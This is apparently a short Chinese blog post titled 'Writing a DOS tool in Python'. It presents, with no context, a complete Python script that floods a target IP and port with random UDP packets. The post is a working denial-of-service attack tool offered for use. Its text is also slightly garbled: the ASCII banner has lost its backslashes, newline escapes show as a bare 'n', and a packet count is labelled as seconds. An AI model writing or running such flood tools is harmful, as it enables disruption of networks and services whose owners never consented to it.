Python编写DOS工具

废话不多说，上源码！

#!/bin/python3
import threading
import socket
import time
import random
import sys
def logo ():
    print (" _   _ ____  ____   _  _____ _____  _    ____ _  __")
    print ("| | | |  _ |  _  / |_   _|_   _|/   / ___| |/ /")
    print ("| | | | | | | |_) / _  | |   | | / _ | |   | ' /")
    print ("| |_| | |_| |  __/ ___ | |   | |/ ___  |___| .  ")
    print (" ___/|____/|_| /_/   __|   |_/_/   _____|_|_ ")
    print ("n [-]请填写足够运行的参数: python3",sys.argv[0]," [ip] [port] [len] [max]nn----作者:ms9944")
class udpattack():
    def start(ip,port,len,max):
        try:
            attack = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
            address = (str(ip), port)
            ipaddr = (ip, port)
            l = 1
            while l <= len:
                attack.sendto(random._urandom(1024 * max), ipaddr)
                print(" Attack!==>ip:", ip,"==>port:", str(port)," ==>", str(len), "s==>max" , str(max))
                l = l + 1
        except KeyboardInterrupt:
            print ("攻击停止......")
if __name__ == "__main__":
    if len(sys.argv)!= 5:
        logo()
    else:
         udpattack.start(sys.argv[1],int(sys.argv[2]),int(sys.argv[3]),int(sys.argv[4]))